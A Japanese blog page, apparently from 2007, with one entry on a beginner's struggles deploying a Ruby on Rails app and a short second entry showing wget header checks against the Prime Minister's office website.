どうやら画像ファイル拡張子が指定されていない URL だと自動的に png として扱うよ、ということらしいので、image_tag のところで url_for( ) した部分に追加修正をしてみる。

url_for(:action => 'xx', :id => 'xx', :extension => '.jpg')

対処療法でしかない。これだとjpgしかできないので正直どうしたものか。

:content_typeを一応保存しているので後から拡張子をつくることもできるが、

きっとなにかいいものがそのうちできるはず!!というかあるはず!!

→時間がなかったのでうっちゃった

redirect_back_or_defaultの使いどころに悩む。

ruby画像を描画させているばあい、画像にもどってしまうからだ。

この挙動は最初意味わからなかったぜ。

→時間がなかったので最初の画面に飛ばして誤魔化した

テーブルでjoinで名前だけでももってきたいとき、元のテーブルにはどうやって別名つけたらいいんだろう??

例えば、user名をuserテーブルからくっつけてもってきたい場合rubyは次みたいな

感じになるんだけど、正直気持ち悪い。

@catchcopy_pages, @catchcopy = paginate :catchcopies,

:conditions => contitions_str,

:select => 'catchcopies.id,user_id,users.login,catchcopies.catchcopy,catchcopies.created_at,vote,catchcopies.updated_at,item_id',

:joins => 'left outer join users on user_id = users.id ',

:order => 'created_at DESC' ,

:per_page => 10

ところでSchema.rbとかみるかぎりFKにも指定されていないんだが、大丈夫なのだろうか。

belongs_toとかではそこまでやってくれないものなのか。

ちなみにmigrateファイルでのalterとかの書き方はまだわかっていない。できるのかもしらない。

大会サーバアクセスできた

パスワードメールで送ってもらってアクセスできるようになった!

ftpは公開してないのね…? FTPあけてくれよ!!!

しかたないのでSSHアクセス

われながら情けないが、SSH越しのファイル転送のしかたがわからなかった。

rcpもscpもうまくできない。

これが環境の問題なのか、自分が悪いのか、やりかたが悪いのか、

問題の切り分けがそもそもできないので諦めた。

SSHで向こうのコマンドからrcpを蹴ってるってことはこっちが開けてないとダメってことだよね?

こっち閉じてるもの…。

wgetは生きていたので他のレンタルサーバー経由ファイルを取得。

ちなみにrcpができないのであげっぱなしさ!

が、しかし。unzipがはいってない。

tarで圧縮して、

tar xvf xxxx.tar

unzipがないのでzがつかえない。

フォルダの権限設定などをして、ローカライズ

せっかく

ENV['RAILS_ENV'] ||= 'production'

みたいなymlがあるのに、

dispatch.cgi

dispatch.fcgi

に書かれた

#!c:/ruby/bin/ruby

#!/usr/bin/ruby

に変更しなきゃいけないのは、何かあれだなと思った。

これかえてまわってたら本番とローカルで世代が分岐しちゃうじゃないか…。

ちなみにmysqlのソケットの位置も違うようなので、

/tmp/mysql.sock

socket: /var/run/mysqld/mysqld.sock

をymlに設定。

できればconfファイルフラグの書き換えだけで乗り換えしたかった。

最近linuxとかにもめっきり触っていなかったのでコマンド表を一生懸命見た。

witch ruby でインストールフォルダを割り出したり、

・・・findというコマンドが思い出せないときは情けなかった。

viコマンドも同様。

そうこうしながら設定完了

本番環境テスト動作

あれ、動かない・・・500エラーが出てる。

wget経由でdispatch.cgiをそのまま配置したのが原因でした。

中身みたらcgiエラー出力が書いてあった。

中継サーバで動いちゃったみたい。tarで固めてからわたしなおしましたとさ。

うごいたーー!!

でも、登録すると文字化けしている。

SQLで中身をみる。中身も文字化けしている。

おかしいなぁ……。

SQL>status

DBがlatin1になっていた…。

CREATE DATABASEも権限ないし…。

my.cnfも読み込み専用だった。

alter database XXXX DEFAULT CHARACTER SET utf8;

alter table XXXX DEFAULT CHARACTER SET utf8;

みたいな悪あがきもしてみたけど適わぬ夢。

SET NAMES utf8;

でもコネクションのところあたりでやってあげたいのだけど、

こういうときにRailsみたいなのは何がどこにあるのかわからない。

しょうがないので運営に問合わせしてみました。

ratin1は正直太刀できるきがあまりしない。

感想

unixとかlinuxとかそこらへん全然わからん…。

8日(のんびり)の勉強と2日(ほぼ徹夜)と1日(半日)のサーバー設定で、

アプリっぽいのはできあがった。

が、どうなのさ・・・。RonR

また今度Ruby感想でもくっちゃべるよ。

[Ruby]タグでもひいておくれ。

なんていうか消化不良。

もっとちゃんとしたものつくりたいな……。

2007-09-05

http://anond.hatelabo.jp/20070905231443 and http://anond.hatelabo.jp/20070905231232

~% wget -S --spider http://www.kantei.go.jp/
--23:26:05--  http://www.kantei.go.jp/
           => `index.html'
www.kantei.go.jpDNSに問いあわせています... 202.232.58.50, 202.232.190.90
www.kantei.go.jp|202.232.58.50|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 
  HTTP/1.1 200 OK
  Date: Wed, 05 Sep 2007 14:26:05 GMT
  Server: Apache
  Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT
  ETag: "84e2-7930-fb9f3000"
  Accept-Ranges: bytes
  Content-Length: 31024
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html
長さ: 31,024 (30K) [text/html]
200 OK

~% wget -S --spider http://www.kantei.go.jp/
--23:30:11--  http://www.kantei.go.jp/
           => `index.html'
www.kantei.go.jpDNSに問いあわせています... 202.232.190.90, 202.232.58.50
www.kantei.go.jp|202.232.190.90|:80 に接続しています... 接続しました。
HTTP による接続要求を送信しました、応答を待っています... 
  HTTP/1.1 200 OK
  Server: Zeus/4.2
  Date: Wed, 05 Sep 2007 14:30:11 GMT
  Content-Length: 31024
  Accept-Ranges: bytes
  Content-Type: text/html
  Last-Modified: Wed, 05 Sep 2007 10:36:48 GMT
  Connection: Keep-Alive
長さ: 31,024 (30K) [text/html]
200 OK

ログイン ユーザー登録
ようこそ ゲスト さん